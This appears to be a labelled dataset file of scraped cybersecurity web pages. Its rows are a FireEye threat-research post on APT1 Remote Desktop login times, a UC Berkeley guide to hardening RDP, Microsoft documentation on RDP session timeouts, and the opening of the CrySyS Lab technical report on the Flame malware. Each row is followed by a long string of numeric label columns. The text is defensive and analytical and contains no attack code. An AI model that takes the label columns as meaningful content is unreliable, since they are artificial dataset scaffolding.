researchers found enough linking evidence to demonstrate a relationship between Moafee and DragonOK, and perhaps even a third attack group. By sharing TTPs and coordinating joint attacks, these advanced threat actors are leveraging China\xe2\x80\x99s supply chain economic expertise to perform extensive worldwide espionage. Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Securing Remote Desktop (RDP) for System Administrators | Information Security Office Skip to main content UC Berkeley Toggle navigation Information Security Office Search Terms Submit Search About Contact Us Governance ISO Overview Meet Your CISO Projects Security Internship Program Staff Listing & PGP Keys Education & Awareness Best Practices & How-Tos News Phishing Ransomware Training NCSAM Resources Block Lists Spirion (formerly Identity Finder) Mailing Lists & Workgroups FAQs Policy A-Z Policy Catalog Laws & Regulations Glossary Services Aggressive IP Distribution (AID) List Application Security Testing Program (ASTP) California State CPHS Data Security Assessment Campus-wide Network Vulnerability Scanning Departmental Network Vulnerability Scanning Log Correlation MSSEI Assessment Service Network Intrusion Detection Systems NetReg bSecure Vendor Security Assessment Program Quick Links Report a Security Incident Report a Stolen or Lost Device Report a Security Vulnerability Respond to a Security Notice Request a Policy Exception Submit an Off-Site Hosting Request Login to NetReg Secondary navigation Contact Us You are here Home Education & Awareness Best Practices & How-Tos System & Application Security Securing Remote Desktop (RDP) for System Administrators Securing Remote Desktop (RDP) for System Administrators How secure is Windows Remote Desktop? Remote Desktop sessions operate over an encrypted channel, preventing anyone from viewing your session by listening on the network. However, there is a vulnerability in the method used to encrypt sessions in earlier versions of RDP. This vulnerability can allow unauthorized access to your session using a man-in-the-middle attack. Remote Desktop can be secured using SSL/TLS in Windows Vista, Windows 7, and Windows Server 2003/2008. While Remote Desktop is more secure than remote administration tools such as VNC that do not encrypt the entire session, any time Administrator access to a system is granted remotely there are risks. The following tips will help to secure Remote Desktop access to both desktops and servers that you support. Basic Security Tips for Remote Desktop Use strong passwords Strong passwords on any accounts with access to Remote Desktop should be considered a required step before enabling Remote Desktop. Refer to the campus password complexity guidelines for tips. Update your software One advantage of using Remote Desktop rather than 3rd party remote admin tools is that components are updated automatically with the latest security fixes in the standard Microsoft patch cycle. Make sure you are running the latest versions of both the client and server software by enabling and auditing automatic Microsoft Updates. If you are using Remote Desktop clients on other platforms, make sure they are still supported and that you have the latest versions. Older versions may not support high encryption and may have other security flaws. Restrict access using firewalls Use firewalls (both software and hardware where available) to restrict access to remote desktop listening ports (default is TCP 3389). Using an RDP Gateway is highly recommended for restricting RDP access to desktops and servers (see discussion below). As an alternative to support off-campus connectivity, you can use the campus VPN software to get a campus IP address and add the campus VPN network address pool to your RDP firewall exception rule. See http://net.berkeley.edu/vpn/ for more information on the campus VPN service. Enable Network Level Authentication Windows Vista, Windows 7, and Windows Server 2008 also provide Network Level Authentication (NLA) by default. It is best to leave this in place, as NLA provides an extra level of authentication before a connection is established. You should only configure Remote Desktop servers to allow connections without NLA if you use Remote Desktop clients on other platforms that don't support it. Enabling NLA on Windows 2008 Server: https://technet.microsoft.com/en-us/library/cc732713(v=ws.11).aspx Enabling NLA on Windows 2012 Server, Windows 8, and Windows 10: NLA should be enabled by default on Windows 2012 Server, Windows 8, and Windows 10. To check you may look at Group Policy setting\xc2 Require user authentication for remote connections by using Network Level Authentication found at Computer\\Policies\\Windows Components\\Remote Desktop Services\\Remote Desktop Session Host\\Security. This Group Policy setting must be enabled on the server running the Remote Desktop Session Host role. Limit users who can log in using Remote Desktop By default, all Administrators can log in to Remote Desktop. If you have multiple Administrator accounts on your computer, you should limit remote access only to those accounts that need it. If Remote Desktop is not used for system administration, remove all administrative access via RDP, and only allow user accounts requiring RDP service. For Departments that manage many machines remotely remove the local Administrator account from RDP access at and add a technical group instead. Click Start-->Programs-->Administrative Tools-->Local Security Policy Under Local Policies-->User Rights Assignment, go to ""Allow logon through Terminal Services."" Or \xe2\x80\x9cAllow logon through Remote Desktop Services\xe2\x80\x9d Remove the Administrators group and leave the Remote Desktop Users group. Use the System control panel to add users to the Remote Desktop Users group. A typical MS operating system will have the following setting by default as seen in the Local Security Policy: The problem is that \xe2\x80\x9cAdministrators\xe2\x80\x9d is here by default, and your \xe2\x80\x9cLocal Admin\xe2\x80\x9d account is in administrators.\xc2 Although a password convention to avoid identical local admin passwords on the local machine and tightly controlling access to these passwords or conventions is recommended, using a local admin account to work on a machine remotely does not properly log and identify the user using the system. It is best to override the local security policy with a Group Policy Setting. To control access to the systems, even more, using \xe2\x80\x9cRestricted Groups\xe2\x80\x9d via Group Policy is also helpful. If you use a \xe2\x80\x9cRestricted Group\xe2\x80\x9d setting to place your group, e.g., \xe2\x80\x9cCAMPUS\\LAW-TECHIES\xe2\x80\x9d into \xe2\x80\x9cAdministrators\xe2\x80\x9d and \xe2\x80\x9cRemote Desktop Users,\xe2\x80\x9d your techies will still have administrative access remotely, but using the steps above, you have removed the problematic \xe2\x80\x9clocal administrator account\xe2\x80\x9d having RDP access. Going forward, whenever new machines are added in the OU under the GPO, your settings will be correct. Set an account lockout policy By setting your computer to lock an account for a set number of incorrect guesses, you will help prevent hackers from using automated password guessing tools from gaining access to your system (this is known as a ""brute-force"" attack). To set an account lockout policy: Go to Start-->Programs-->Administrative Tools-->Local Security Policy Under Account Policies-->Account Lockout Policies, set values for all three options. Three invalid attempts with 3-minute lockout durations are reasonable choices. Best Practices for Additional Security Change the listening port for Remote Desktop Changing the listening port will help to ""hide"" Remote Desktop from hackers who are scanning the network for computers listening on the default Remote Desktop port (TCP 3389). This offers effective protection against the latest RDP worms such, as Morto. To do this, edit the following registry key (WARNING: do not try this unless you are familiar with the Windows Registry and TCP/IP): HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp. Change the listening port from 3389 to something else and remember to update any firewall rules with the new port. Although this approach is helpful, it is security by obscurity, which is not the most reliable security approach. You should ensure that you are also using other methods to tighten down access as described in this article. Use RDP Gateways Using an RDP Gateway is strongly recommended. It provides a way to tightly restrict access to Remote Desktop ports while supporting remote connections through a single ""Gateway"" server. When using an RD Gateway server, all Remote Desktop services on your desktop and workstations should be restricted to only allow access only from the RD Gateway. The RD Gateway server listens for Remote Desktop requests over HTTPS (port 443) and connects the client to the Remote Desktop service on the target machine. There are many online documents for configuring this embedded Windows 2008 component. The official documentation is here: http://technet.microsoft.com/en-us/library/dd983949(WS.10).aspx Installing the configuring, the role service is mostly as described; however, using a Calnet issued trusted Comodo certificate is recommended. Using a self-signed cert is ok for testing, and using a CalnetPKI cert can work if all clients have trusted the UCB root. The Comodo cert is usually better accepted so that your end users do not receive certificate warnings. Some campus units use an IST managed VPS as an RD Gateway, and a VPS seems fine for this purpose. A rough estimate might be that 30-100 concurrent users can use one RD Gateway. The HA at the virtual layer provides enough fault-tolerant and reliable access; however a slightly more sophisticated RD gateway implementation can be done with network load balancing. Configuring your client to use your RD Gateway is simple. The official documentation for the MS Client is here: http://technet.microsoft.com/en-us/library/cc770601.aspx In essence, a simple change on the advanced tab of your RDP client is all that is necessary: Tunnel Remote Desktop connections through IPSec or SSH If using an RD Gateway is not feasible, you can add an extra layer of authentication and encryption by tunneling your Remote Desktop sessions through IPSec or SSH. IPSec is built-in to all Windows operating systems since Windows 2000, but use and management are greatly improved in Windows Vista/7/2008 (see: http://technet.microsoft.com/en-us/network/bb531150). If an SSH server is available, you can use SSH tunneling for Remote Desktop connections.\xc2 Use existing management tools for RDP logging and configuration Using other components like VNC or PCAnywhere is not recommended because they may not log in a fashion that is auditable or protected. With RDP, logins are audited to the local security log, and often to the domain controller auditing system. When monitoring local security logs, look for anomalies in RDP sessions such as login attempts from the local Administrator account. RDP also has the benefit of a central management approach via GPO as described above. Whenever possible, use GPOs or other Windows configuration management tools to ensure a consistent and secure RDP configuration across all your servers and desktops. By enforcing the use of an RDP gateway, you also get a third level of auditing that is easier to read than combing through the domain controller logins and is separate from the target machine so it is not subject to tampering. This type of log can make it much easier to monitor how and when RDP is being used across all the devices in your environment. Use Two-factor authentication on highly sensitive systems Departments with sensitive data should also consider using a two-factor authentication approach. That is beyond the scope of this article, but RD Gateways do provide a simple mechanism for controlling authentication via two-factor certificate based smartcards. Other two factor approaches need another approach at the Remote Desktop host itself, e.g., YubiKey, RSA. Additional security with Network Access Protection (NAP) Highly motivated admins can also investigate the use Network Access Protection (NAP) with an RD Gateway, however, that technology and standard are not well developed or reliable yet. Many clients will not work if you enforce it, although by following the documentation, you can audit the system to see if it *thinks* the clients are security compliant. Special thanks to Forrest Smalley of IST for providing content and screenshots for this article On This Page How secure is Windows Remote Desktop? Basic Security Tips for Remote Desktop Best Practices for Additional Security Follow us: Twitter Contact Us Copyright \xc2\xa9 2019 UC Regents; all rights reserved Powered by Open Berkeley Privacy Statement Back to Top","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions 11/17/2009 4 minutes to read In this article Applies To: Windows Server 2008 R2 By default, Remote Desktop Services allows users to disconnect from a remote session without logging off and ending the session. When a session is in a disconnected state, running programs are kept active even though the user is no longer actively connected. You can limit the amount of time that active, disconnected, and idle (without user input) sessions remain on the server. This is useful because sessions that remain running indefinitely on the RD\xc2 Session Host server continue to consume system resources. Configuring timeout and reconnection settings on a per connection basis affects all sessions that use the connection. You can configure timeout and reconnection settings on a per user basis by using the Remote Desktop Services Extension to the Local Users and Groups snap-in or to the Active Directory Users and Computers snap-in. Timeout and reconnection settings configured by using Remote Desktop Session Host Configuration will take precedence over timeout and reconnection settings that have been configured for a specific user account. You can configure the following timeout and reconnection settings in Remote Desktop Session Host Configuration. Setting Details End a disconnected session Specify the maximum amount of time that a disconnected user session is kept active on the RD\xc2 Session Host server. If you specify ""Never,"" the user's disconnected session is maintained for an unlimited time. When a session is in a disconnected state, running programs are kept active even though the user is no longer actively connected. Active session limit Specify the maximum amount of time that the user's Remote Desktop Services session can be active before the session is automatically disconnected or ended. The user receives a warning two minutes before the Remote Desktop Services session is disconnected or ended, which allows the user to save open files and close programs. Idle session limit Specify the maximum amount of time that an active Remote Desktop Services session can be idle (without user input) before the session is automatically disconnected or ended. The user receives a warning two minutes before the session is disconnected or ended, which allows the user to press a key or move the mouse to keep the session active. When a session limit is reached or connection is broken Specify whether to disconnect or end the user's Remote Desktop Services session when an active session limit or an idle session limit is reached. If the user's session is disconnected, the programs that the user is running are kept active even though the user is no longer actively connected. If the user's session is ended, the user will need to establish a new Remote Desktop Services session with an RD\xc2 Session Host server. Use the following procedure to specify the timeout and reconnection settings for a remote session. Membership in the local Administrators group, or equivalent, on the RD\xc2 Session Host server that you plan to configure, is the minimum required to complete this procedure.\xc2 Review details about using the appropriate accounts and group memberships at http://go.microsoft.com/fwlink/?LinkId=83477. To specify timeout and reconnection settings for a remote session On the RD\xc2 Session Host server, open Remote Desktop Session Host Configuration. To open Remote Desktop Session Host Configuration, click Start, point to Administrative Tools, point to Remote Desktop Services, and then click Remote Desktop Session Host Configuration. Under Connections, right-click the name of the connection, and then click Properties. In the Properties dialog box for the connection, on the Sessions tab, select the following options as necessary: Select the Override user settings check box, and then set timeout settings for End a disconnected session, Active session limit, and Idle session limit. Select the Override user settings check box, and then select one of the following reconnection settings: Disconnect from session or End session. Click OK. Changes to timeout and reconnection settings are not applied to sessions that are connected when the change is made. The changes will take effect the next time the user establishes a new connection to the RD\xc2 Session Host server. You can also configure timeout and reconnection settings by applying the following Group Policy settings: Set time limit for disconnected sessions Set time limit for active but idle Remote Desktop Services sessions Set time limit for active Remote Desktop Services sessions Terminate session when time limits are reached These Group Policy settings are located in the following locations: Computer Configuration\\Policies\\Administrative Templates\\Windows Components\\Remote Desktop Services\\Remote Desktop Session Host\\Session Time Limits User Configuration\\Policies\\Administrative Templates\\Windows Components\\Remote Desktop Services\\Remote Desktop Session Host\\Session Time Limits These Group Policy settings can be configured by using either the Local Group Policy Editor or the Group Policy Management Console (GPMC). Note These Group Policy settings will take precedence over the settings configured in Remote Desktop Session Host Configuration. If both the Computer Configuration and the User Configuration policy settings are configured, the Computer Configuration policy settings take precedence. For more information about Group Policy settings for Remote Desktop Services, see the Remote Desktop Services Technical Reference (http://go.microsoft.com/fwlink/?LinkId=138134). For information about configuring timeout and reconnection settings on a per user basis, see the topic "" Properties: Sessions Tab"" in the Remote Desktop Services User Properties Help in Windows Server\xc2 2008\xc2 R2. Additional references Configure Session Settings for Remote Desktop Services Connections Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"The PLA and the 8:00am-5:00pm Work Day: FireEye Confirms DOJ's Findings on APT1 Intrusion Activity | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research May 2014 Threat Research Blog Posts The PLA and the 8:00am-5:00pm Work Day: FireEye Co... Threat Research The PLA and the 8:00am-5:00pm Work Day: FireEye Confirms DOJ's Findings on APT1 Intrusion Activity May 20, 2014 | by Fireeye Labs Apt1 Threat Intelligence Department Of Justice Chinese Military Hackers Advanced Persistent Threat Yesterday, the U.S. Department of Justice (DOJ) announced the indictment of five members of the Second Bureau of the People\xe2\x80\x99s Liberation Army (PLA) General Staff Department\xe2\x80\x99s Third Department, also known as PLA Unit 61398.\xc2 This is the same unit that Mandiant publicly unmasked last year in the APT1 report. At the time it was originally released, China denounced the report, saying that it lacked sufficient evidence. Following the DOJ\xe2\x80\x99s indictment, however, China\xe2\x80\x99s usual response changed from \xe2\x80\x9cyou lack sufficient evidence\xe2\x80\x9d to \xe2\x80\x9cyou have fabricated the evidence\xe2\x80\x9d, calling on the U.S. to \xe2\x80\x9ccorrect the error immediately.\xe2\x80\x9d This is a significant evolution in China\xe2\x80\x99s messaging; if the evidence is real, it overwhelmingly demonstrates China's unilateral attempts to leapfrog years of industrial development -- by using cyber intrusions to access and steal intellectual property. The evidence provided in the indictment includes Exhibit F (pages 54-56), which shows three charts based on Dynamic DNS data. These charts indicate that the named defendants (Unit 61398 members) were re-pointing their domain names at a Dynamic DNS provider during Chinese business hours from 2008 to 2013. The China work day, particularly for government offices, is very predictable, as noted on this travel site: ""Government offices, institutions and schools begin at 8:00 or 8:30, and end at 17:00 or 17:30 with two-hour noon break, from Monday to Friday. They usually close on Saturday, Sunday and public holidays."" What Exhibit F shows is a spike of activity on Monday through Friday around 8am in Shanghai (China Standard Time), a roughly 2-hour lull at lunchtime, and then another spike of activity from about 2pm to 6pm. The charts also show that there were very few changes in Dynamic DNS resolution on weekends. At Mandiant (now a FireEye company), we can corroborate the DOJ\xe2\x80\x99s data by releasing additional evidence that we did not include in the APT1 report. In the APT1 report, we specified the following: Over a two-year period (January 2011 to January 2013) we confirmed 1,905 instances of APT1 actors logging into their hop infrastructure from 832 different IP addresses with Remote Desktop. Of the 832 IP addresses, 817 (98.2%) were Chinese and belong predominantly to four large net blocks in Shanghai which we will refer to as APT1\xe2\x80\x99s home networks. In order to make a user\xe2\x80\x99s experience as seamless as possible, the Remote Desktop protocol requires client applications to forward several important details to the server, including their client hostname and the client keyboard layout. In 1,849 of the 1,905 (97%) APT1 Remote Desktop sessions we observed in the past two years, the keyboard layout setting was \xe2\x80\x9cChinese (Simplified) \xe2\x80\x94 US Keyboard.\xe2\x80\x9d One thing we did not originally provide was an analysis of the time of day and day of week that these 1,905 Remote Desktop (RDP) connections occurred. However, when we look at these connections in bar chart format, obvious patterns appear: Figure 1: APT1 Remote Desktop login times distributed by hour of day (China Standard Time) \xc2 Figure 2: APT1 Remote Desktop login times distributed by day of week (China Standard Time) Essentially, APT1 conducted almost all of the 1,905 RDP connections from 2011 to 2013: (1) On week days (Monday through Friday), (2) between 8am and noon, 2pm and 6pm, and 7pm and 10pm CST. On some occasions, APT1 personnel appear to have worked on weekends, but these are minor exceptions to the norm. Consider the following evidence together for the 1,905 RDP connections: 98.2% of IP addresses used to log in to hop points (which help mask the real point of origin to victim organizations) were from Shanghai networks 97% of the connections were from computers using the Simplified Chinese language setting 97.5% of the connections occurred on weekdays, China Standard Time 98.8% of the connections occurred between 7am and midnight China Standard Time 75% occurred between 8am to noon or between 2pm to 6pm 15% occurred between 7pm and 10pm The simplest conclusion based on these facts is that APT1 is operating in China, and most likely in Shanghai. Although one could attempt to explain every piece of evidence away, at some point the evidence starts to become overwhelming when it is all pointing in one direction. Our timestamp data, derived from active RDP logins over a two year period, matches the DOJ\xe2\x80\x99s timestamp data, derived from a different source -- active Dynamic DNS re-pointing over a five year period. These data sets show that APT1 is either operating in China during normal Chinese business hours or that APT1 is intentionally going to painstaking lengths to look like they are.\xc2 The data used to produce the charts above are archived in raw format and we are confident that any computer networking expert would certify them as genuine and non-fabricated in a court of law. But, that isn\xe2\x80\x99t really the issue. The real issue is: will this activity continue and for how long? Regardless, FireEye remains focused on how these threats evolve over time, in order to reduce the time from \xe2\x80\x9cdetect\xe2\x80\x9d to \xe2\x80\x9cfix\xe2\x80\x9d, as these and other actors continue targeting potential victims. Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"skywiper_v1.05 Technical Report by Laboratory of Cryptography and System Security (CrySyS Lab) http://www.crysys.hu/ Budapest University of Technology and Economics Department of Telecommunications http://www.bme.hu/ This report contains information provided by anonymous parties and hence references were edited to preserve their anonymity sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks v1.05 (May 31, 2012) \xe2\x80\x93 It\xe2\x80\x99s a live document modified all the time Authors: sKyWIper Analysis Team Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 2 Findings in brief In May 2012, our team participated in the analysis of an as yet unknown malware, which we internally call sKyWIper. Based on the information initially received, we understood that the malware is an important piece of a targeted attack. When we started the analysis, we did not know how many countries were affected, but we suspected that it was not limited to a single country. Our suspicion was based on indications that pieces of the malware was probably identified and uploaded from European parties onto binary analysis sites in the past. During the investigation, we received information about systems infected by sKyWIper in other countries, including Hungary, our home country. Hence, the suspicion became evidence, and this made it clear for us that our findings must be disclosed by publishing this report. It is obvious from the list of its files that sKyWIper must be identical to the malware described in the post http://www.certcc.ir/index.php?name=news&file=article&sid=1894 (from Iran National CERT (MAHER)) where it is called Flamer. For convenience, we keep our naming of the malware and call it sKyWIper based on one of the filenames (~KWI) it uses for temporary files. sKyWIper\xe2\x80\x99s constitution is quite complex with a large number of components and the substantial size of some of its files. Therefore, providing its full analysis in a limited amount of time was infeasible with our current resources. Our goal was to get a quick understanding of the malware\xe2\x80\x99s purpose, and to identify its main modules, storage formats, encryption algorithms, injection mechanisms and activity in general. This report contains the results of our analysis, which should help other researchers with more resources to get started and continue the analysis producing more detailed results. Our first insight suggests that sKyWIper is another info-stealer malware with a modular structure incorporating multiple propagation and attack techniques, but further analysis may discover components with other functionalities. In addition, sKyWIper may have been active for as long as five to eight years, or even more. sKyWIper uses compression and encryption techniques to encode its files. More specifically, it uses 5 different encryption methods (and some variants), 3 different compression techniques, and at least 5 different file formats (and some proprietary formats too). It also uses special code injection techniques. Quite interestingly, sKyWIper stores information that it gathers on infected systems in a highly Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 3 structured format in SQLite databases. Another uncommon feature of sKyWIper is the usage of the Lua scripting language. sKyWIper has very advanced functionality to steal information and to propagate. Multiple exploits and propagation methods can be freely configured by the attackers. Information gathering from a large network of infected computers was never crafted as carefully as in sKyWIper. The malware is most likely capable to use all of the computers\xe2\x80\x99 functionalities for its goals. It covers all major possibilities to gather intelligence, including keyboard, screen, microphone, storage devices, network, wifi, Bluetooth, USB and system processes. The results of our technical analysis support the hypotheses that sKyWIper was developed by a government agency of a nation state with significant budget and effort, and it may be related to cyber warfare activities. sKyWIper is certainly the most sophisticated malware we encountered during our practice; arguably, it is the most complex malware ever found. MAJOR UPDATES: 05/30/2012 Kaspersky published much more details about modules Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 4 Table of contents 1. Introduction .............................................................................................................................................5 1.1. Investigation............................................................................................................................................................ 5 1.2. History and build dates ...................................................................................................................................... 5 1.3. Build dates................................................................................................................................................................ 6 1.4. Comparison to Duqu (Stuxnet) at a glance............................................................................................... 7 2. Main components ...................................................................................................................................9 2.1. Modules...................................................................................................................................................................... 9 2.2. File listing and hashes.......................................................................................................................................11 3. Activation and propagation ............................................................................................................. 13 3.1. Startup sequence.................................................................................................................................................13 3.2. Bootup experiments to gather timing information.............................................................................15 3.3. Injections.................................................................................................................................................................17 3.4. Hooks ........................................................................................................................................................................20 3.5. Mutexes ....................................................................................................................................................................21 3.6. nteps32 exports....................................................................................................................................................21 3.7. Installation and propagation method.......................................................................................................22 4. Description of components.............................................................................................................. 24 4.1. Encryption algorithms......................................................................................................................................24 4.2. Registry parts........................................................................................................................................................32 4.3. Compression and table formats....................................................................................................................34 4.4. Data storage formats ........................................................................................................................................36 4.5. Logging file list.....................................................................................................................................................38 4.6. Saving additional information......................................................................................................................39 5. C&C communication ........................................................................................................................... 41 6. Attack details \xe2\x80\x93 dictionary and scripts ........................................................................................ 44 6.1. Some interesting Lua scripts inside the code .........................................................................................48 6.2. Related files............................................................................................................................................................51 6.3. SQLite table structure of CLAN DB..............................................................................................................52 7. Evasion techniques ............................................................................................................................. 56 7.1. Security programs relation ............................................................................................................................56 7.2. Design choices and tricks ................................................................................................................................56 7.3. Malware\xe2\x80\x99s own files list ....................................................................................................................................57 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 5 1. Introduction Our team at CrySyS Lab, Budapest was alerted in May 2012 of a targeted attack found in the wild. Below we summarize the investigation history and the current status of the forensic analysis. 1.1. Investigation We have carried out an investigation in collaboration with several parties involved in incident response since we were alerted of the malware sKyWIper. Some of these parties involved may want to remain anonymous; therefore, references in the document are deliberately incorrect to avoid identification of the source of some information, data, sample, code, prototype, etc. sKyWIper is too complex to be fully analyzed with our limited resources and time. Therefore, our investigations focused on the \xe2\x80\x9cbig picture\xe2\x80\x9d, trying to get a first insight into the capabilities, behavior, encryption, data storage, propagation and communications of the malware. Much more work is needed to fully understand the details of the operation of the malware; however, as much debug/symbol information remains in the code, a detailed analysis seems to be feasible with additional resources and time. 1.2. History and build dates sKyWIper has most probably been operated undetected for years. It has been potentially operational for 5 years or more according to malware intelligence reports. The main component, msgsecmgr.ocx a.k.a. wavesup3.drv refers 